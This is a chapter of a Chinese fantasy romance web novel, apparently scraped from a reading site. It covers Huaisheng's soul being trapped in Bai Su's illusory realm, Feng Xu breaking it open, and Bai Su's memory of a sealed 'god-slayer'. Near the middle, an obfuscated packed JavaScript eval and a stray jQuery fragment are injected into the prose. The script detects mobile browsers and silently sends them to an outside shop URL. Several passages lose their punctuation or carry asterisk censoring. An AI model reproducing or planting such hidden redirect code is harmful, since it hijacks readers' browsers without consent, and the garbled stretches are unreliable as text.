默认冷灰
24号文字
方正启体

第 113 章 赴阆寰

作者:八月于夏本书字数:K更新时间:
    第113章赴阆寰


    【“她是弑神者。”】


    苍琅宗,无忧山灵池。


    温热的汤池白雾翻腾,池边摆着一张矮几,几上放着个灵玉铸造的棋盘和棋篓,封叙坐在矮几旁边,有一搭没一搭地把玩着棋篓里的棋子。


    白骨抱着枚棋子在汤池里沉浮,时不时发出一声舒服的喟叹。


    “主子,你不下来泡泡吗?这木灵玉的灵力很是精纯,真想不到一个看起来如此落魄的宗门会有木灵玉。”


    一枚木灵玉能换不知多少极品灵石了,这无忧山的灵池一埋就是两枚,如何不叫白骨喜出望外。


    封叙心不在焉地应和了一声:“喜欢就多泡会儿。”


    白骨又道:“主子,你真打算留在这里了?”


    封叙将手里的棋子一枚一枚抛回棋篓,漫不经心道:“不留下来怎么弄清少臾和白谡出现在这里的原因。把我丢去苍琅的那位,说不定就是为了让我在阆寰界遇上少臾,好搅和他们的任务。既如此,我便如他所愿,彻底搅浑这一池水。”


    白骨似懂非懂道:“主子跟着漂亮仙子就能搅浑这池水了?”


    他虽脑袋瓜不灵活,但他了解自家主子,若不是漂亮仙子有什么可供算计的东西,他才不会乖乖跟她来苍琅宗。


    “她啊,”封叙微微眯起眼,露出个充满兴味的笑,“我怀疑这一池子水都是因她而起的,自然得跟紧她了。”


    白骨没听明白,扒在灵池的玉璧,正要继续发问,虚空中突然响起一道轻得几乎难以察觉的“喀嚓”声。


    这声音封叙和白骨皆不陌生,是太虚之境的结界扭曲时发出的响动。


    虚空中的这道气息……


    封叙长眉一扬,顷刻便将目光望向隔壁屋子——那里是南怀生疗伤的灵池。


    他散出一缕神识探入隔壁屋子,结果神识刚过墙便被一缕幽火灼烧殆尽。


    封叙忙切断那缕神识,若有所思地敲了敲手里的玉棋。少顷,他撂下那枚玉棋,对白骨道:“看好家。”


    话落,神识沉入祖窍,只见漫天飞舞的桃瓣中,一株古老的桃树无声静立,上头桃花簇簇盛开,如云似火。


    封叙缓步迈入树中,脚下登时多了一条光怪陆离、如梦似幻的光道,光道之上飘着一个个光华流转只有巴掌大的圆球,那是天地生灵的太虚之境。


    一个又一个光球


    与他擦肩而过,封叙循着方才捕捉到的气息,目不斜视地游走其中。


    倘若他没有认错,空间扭曲时所泄露的气息正是诛魔剑的主人、北瀛天少尊白谡。


    是谁将南怀生的神魂摄入白谡的太虚之境了?


    -


    月华如霜,凉风吹皱一池静水。


    怀生垂目看着倒映在水中的那张脸,脑中的第一个念头是:她见过这张脸。


    就在师兄的记忆里,那位在逼仄潮湿的巢穴中抱住他的美人仙子,顶着的便是这张脸。


    怀生不解地眨了眨眼,水中的美人也跟着眨了一下眼。她顿了顿,下意识就想抬手摸一摸自己的脸,孰料这具身体竟沉重无比,竟是没法随心所欲地操控。


    眼见着僵硬的身体慢慢往水下沉,怀生忙凝神挪动四肢。好在残留在这身体里的意识本就有到岸的指令,费了好一会儿工夫,勉强控制住这具身体顺顺利利地上了岸。


    此时她那一头浓密的长发如同湿透的绸缎,湿漉漉地垂至脚踝。怀生望了望掩在乌发中的身躯,只见一身肌肤光滑似玉,犹如雪魄月魂,十分惑人。


    这不是她的肉身。


    她在雷劫中落下不少伤,右掌的虎口处还有数道深可见骨的口子,乃是硬接少臾那一剑所致的。短短一夜的工夫,这些伤口不可能消失。


    是幻境?


    苍琅宗的灵池里有幻阵?


    不,不对。倘若这是她的幻阵,她怎会是这样一副面孔?


    正思忖着,突然一道剑鸣声由远及近,一倏忽间便来到她身前。怀生下意识运转灵力,却惊觉这具肉身居然没有分毫灵力。


    雷霆剑势轰然而至,怀生只能眼睁睁看着那柄遍体漆黑的神剑劈向她眉心。


    千钧一发之际,树影朦胧处冷不丁响起一道冰冷的声音:“诛魔!


    怀生这才注意到立在树下的那道身影。


    锋锐的剑气无声割开她的皮肤,一滴血珠凝于眉心。隔着那柄熟悉的神剑,怀生眸光微动,看向剑的主人。


    那人一身霜白,长身玉立,面容俊雅至极,一双冰冷得仿佛看不出情绪的眸子正静静看着她,眉心处霍然一道乌黑的血线。


    四目相对,怀生只觉那双眼黑沉得惊人,像暗夜中的妖海,轻轻一搅,便能掀起滔天海浪。


    她忍不住皱眉,竭力克制那步步行向他的本能,强行顿住脚步,一字一顿地问道:“你……是谁?


    白衣修


    士无声凝视着她目光如刀刃寸寸擦着怀生的眉眼而过叫她禁不住警铃大作。


    须臾白谡拾步向她随着他步履逼近周遭光影扭动波光粼粼的冥渊之水刹那间远去乌云般的树影一点点漫上怀生仅仅片刻工夫怀生已经立在了扶桑木之下与他只隔一剑之距。


    白谡垂目看她慢慢握住诛魔剑剑柄“锵”一声将诛魔剑归鞘。


    风从冥渊之水吹来他一动不动地站在那里霜白长袍无声起落。


    就在怀生以为他只是一具不会说话的幻象时他忽然开口了:“白谡。”冰冷的声线有着掩盖不住的沉哑阴郁。


    白谡?


    北瀛天的那个白谡?


    怀生心神猝然一凛脑海深处如有惊雷炸响灵台在这一刻竟痛到了极致。


    冷汗从她额角渗出一个念头从她脑中快速闪过怀生奋力压住来势汹汹且还变本加厉的头疾问道:“我是谁?”


    这一声问出白谡似乎恍惚了一瞬。


    风声渐歇水面上的涟漪无声散去。天地寂然一切都仿佛回到了故事的最开端。


    白谡定定注视怀生的眼缓缓道:“扶桑你是扶桑。”


    ……


    封叙停在一个清辉熠熠的光球前温声笑道:“找到了。”


    一片桃瓣从他眉心飞向光球太虚之境内扶桑木静寂的枝叶剧烈摇晃金石声簌簌从树缝漏下的月光竟一丝丝扭曲了起来。


    有人在闯他的太虚之境。


    白谡心有所感诛魔剑轰然出鞘劈向扶桑木上空的皎洁圆月圆月中凝着一点红正是一片桃瓣。


    两股磅礴的力量无声较量赤红桑叶簌簌坠落冥渊之水翻腾奔涌空气中突然现出一个又一个针尖大小的黑洞黑洞“腾”一下化作一根根狭长的裂缝刹那间遍布了一整个天地罡风从裂缝灌入。


    无数剑气从诛魔剑爆出悍然抵挡着外来的力量却拦不住太虚之境崩塌的趋势!


    面对这即将四分五裂的天地白谡面无波澜不曾回头看过一眼浓黑的眼珠始终倒映着怀生的脸。


    狂暴的风震得天地震颤


    白谡抬手点向她眉心动作迅疾如电怀生想偏头躲开却是来不及了。


    就在这时那股桎梏着她的力量突然弱了下来她沉下眉眼灵识沉入祖


    窍召唤苍琅剑。


    白谡指腹碰上怀生眉心的瞬间,一缕剑气在怀生指尖凝聚成型,刺向白谡眉心。


    “轰!”——


    太虚之境轰然碎裂,化作无数光点消散在虚空!漆黑的冥渊之水、月夜下的参天古木以及树下的白衣神君刹那间消失!


    怀生猛吸一口气,在温热的汤池坐直了身。池水荡起层层涟漪,揉皱了倒映在水中的一张芙蓉面。


    怀生盯着水面倒影,下意识摸向眉心,那里竟多了一枚火焰图腾。


    方才白谡触向她眉心时,一股冰冷霸道的神力从他指腹涌入她祖窍,为了在她神魂留下烙印,他甚至不躲她的剑气,硬生生扛下她的那一剑。


    她眉心的九枝图腾就要浮现之时,一缕熟悉的幽寒之力从无根木虚影里飞出,替她挡住了白谡侵入的神力。


    怀生摩挲着眉心的图腾,眼中流露出一丝眷恋。


    这枚火焰图腾是辞婴留给她的神力,离开苍琅的那一日,他将她推向不周山时便悄悄往她灵台注入了这缕神力。


    或者该说,是他的真灵。


    神族得天地造化而生,神力天授,真灵便是神族的神力之源。辞婴给怀生留下这一缕真灵,便是为了遮掩她的九枝图腾。


    怀生将灵识沉入祖窍中的无根木虚影,透过那道虚影,她看见了静静矗立在苍琅的那道树影。


    明明他不在她身旁,却还是用他的方式在默默守护着她。


    出神片晌,怀生从灵池出来,撤掉结界,端坐在洞府里等待来客。


    一个时辰后,她的洞府果真迎来了一人。封叙上下打量怀生一眼,有些意外于她竟毫发无损,笑着问道:“你早就猜到我会来?”


    方才打破白谡幻境的果然是封叙。


    在她身边能及时察觉到她的异样且还能破开一个上神幻境的,除了他这个太虚天少尊,不做他选。


    怀生开门见山道:“你与白谡也有私怨?”


    这位不知是敌是友的神君眼下瞧着不大妙,原本昳丽俊美的面容褪去了所有血色,气息更是虚弱,像是大病了一场。


    他在红衫谷便已经受了不轻的伤,方才轰碎白谡的幻境想必也遭受到了不小的冲击。若不是与白谡有私怨,怎可能会如此拼命?


    封叙嗤一声笑了:“战神白谡乃是九重天出了名的高岭之花,我与他不曾有过接触,何来私怨?”


    他说着打开手里的折扇,慢悠悠地摇了起


    来:“当然,他与太子少臾乃是至交好友,看在少臾的份上,我给他下下绊子便当是日行一善了。不过今日我会出手,乃是为了给你解困,毕竟我欠你一份因果不是?总不能冷眼旁观你在白谡的太虚之境中**。”


    “太虚之境?”捕捉到这四个字的怀生眉心不由得一锁。


    “你不知道那是白谡的太虚之境?”


    封叙挑一挑眉,露出个意外的神色,紧接着便好脾气地解释道:“太虚之境乃是天地生灵的本我之心,任何心魇、恶念、执念在太虚之境中皆会无所遁形。我们太虚天的使命便是诛杀所有被魇魔吞噬而堕魔的生灵。”


    魇魔?


    怀生眸光一动,想起幻境中白谡不由分说劈向她的那一剑,他是将她当成魇魔了?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17120003|155333||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    幻境中的那具身体似乎有着特定的指令,连她都无法控制,若不是封叙将幻境轰开一条裂缝,她恐怕只能依照那身体的指令行事。


    幻境中的她,或许真的是一只魇魔,只是有人将她的神魂拘在了那只魇魔体内。


    怀生寻思片晌,问道:“我的神魂被拘在一具魇魔的身体里,有何法子可以从它体内离开?”


    “哦?”封叙来了兴致,桃花眼泛出潋滟的波光,道,“怀生师妹可知那魇魔幻化的是何人?”


    “不知。”怀生平静道。


    封叙静看她一眼,无比惋惜地叹息道:“那真是可惜了。”


    想了想,又道:“被拘在魇魔体内的生魂想要离开并非易事,唯有太虚之境消失方能归魂。怀生师妹若是信我,我倒是有法子将你的神魂从魇魔体内抽离。”


    “是何法子?”


    封叙掌心一翻,便多了一朵开得正艳的桃花,“把这朵桃花带入太虚之境中,想离开了就往里头注入灵力。”


    怀生没有拒绝封叙递来的这一朵桃花,她望着封叙,道:“多谢封道友,将我神魂拘入太虚之境,可是太虚天神族才会有的手段?”


    封叙微微一笑:“是,我也很好奇究竟是谁将你送入白谡的太虚之境。”


    -


    鲜血滴滴答答从眉心坠落,很快便洇湿一片雪白的衣襟。


    在太虚之境中遭受的所有伤害皆应在元神中,若非白谡神魂强大,幻境破碎与那道剑气带来的伤害顷刻便可叫他疼晕过去。


    往常他只要杀死所有魇魔,被魇气侵蚀的太虚之境便会自动消失。今日的一切纰漏,皆是因他不愿杀她


    。


    白谡面色白得惊人,鲜血在他眉心和鼻尖蜿蜒出一道触目惊心的血迹。但他面上看不出一点痛色,只神色如常地盯着拇指指腹。


    那里残留着一团血渍,是她眉心被诛魔剑剑气割破时涌出的那一滴血。


    鲜红的血滴离开太虚幻境后已变成一团漆黑的魇气。


    她……果真是魇魔?


    自他入魇后,杀死的魇魔以千万计,没有一只魇魔能有她的神韵,但方才那一只魇魔……


    白谡摩挲了下指腹,淡声道:“诛魔。


    诛魔剑发出一声剑鸣,剑气如细针般刺向指腹,将那团魇气绞杀殆尽,旋即“锵一声归鞘。


    四下里陷入一片死寂。


    白谡依旧不错眼地盯着指腹,魇气消失后,他指腹上仍残留着一阵灼痛。


    是他在太虚之境中带出的伤。


    当他试图在她身上留下他的烙印时,一股森寒的力量从她眉心涌出,悍然抵抗他的入侵。


    苍蓝色冰霜慢慢覆上白谡指腹,不片刻那阵灼痛便消了下去。掌心一翻,一支碧莹莹的神木笛出现在手中。


    白谡垂眸凝视神木笛,思绪穿越数万年时光,一下回到了冥渊之水水畔。


    “白谡,你说冥渊之水的水底里真的有封印吗?


    漆黑的冥渊之水平静如镜,映着北瀛天终年不化的雪峰和两张稚嫩的面孔。


    面容清雅的小帝姬蹲在水畔,指着冥渊之水认真问道。


    白谡望着什么都看不清的水底,轻轻颔首:“母神说过,水底的封印唯有修**过九磐定魂引的护道者方能看得见。


    葵覃寻思片刻,取出一支木笛,问道:“待我修**好九磐定魂引便能看见了?


    白谡平静道:“你是神木生死的护道者,只要能用神木笛吹出九磐定魂引,便一定能看见水底的封印。


    葵覃握紧了手中的神木笛,又将目光沉入水底,好奇道:“令颐上神说水底封印着那位,冥渊之水奇寒无比,连神族都难以忍受,她……会有知觉吗?


    “她是弑神者,若不将她封印在冥渊之水,九重天将会毁在她手中,既然是敌非友,那便该收起你那不必要的仁慈。她有无知觉、难不难受又与我们何干?


    小神君俊雅的面容犹带稚气,说话的语气却十分淡漠。


    葵覃从冥渊之水收回目光,侧首望向白谡,轻轻笑了笑,道:“难怪父神说你比少臾更像一个合格的帝嗣。


    小神君闻言眉头一锁,道:“莫胡说,我是北瀛天少尊,少臾才是帝嗣。


    葵覃掩嘴一笑,片刻后又敛去笑意,垂首抚摸手中的神木笛,郑重道:“我定会与你还有少臾好好守护九重天,不会叫任何人把九重天毁了。


    说罢复又看向冥渊之水,稚气的面庞再不见半分不忍,她问道:“弑神者……是什么样的存在呢?可是有三头六臂满是杀伐之气?又或者魇气、孽力缠身?


    白谡第一次在冥渊之水看见扶桑时,脑中响起的便是幼时葵覃问的这一句话。


    葵覃好奇了许多年的弑神者没有三头六臂,也没有萦绕不散的魇气与孽力。


    相反,她有着这世间最干净的一双眼。


    魇魔因他心中的执念而生,便是一根头发丝,都是挖掘他内心深处最隐秘的记忆捏造而成。但再是厉害的魇魔,都无法捏出她那双眼。


    然而方才遇见的那只魇魔,却与她有着双一模一样的眼。


    -----------------------


    作者有话说:来啦~
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)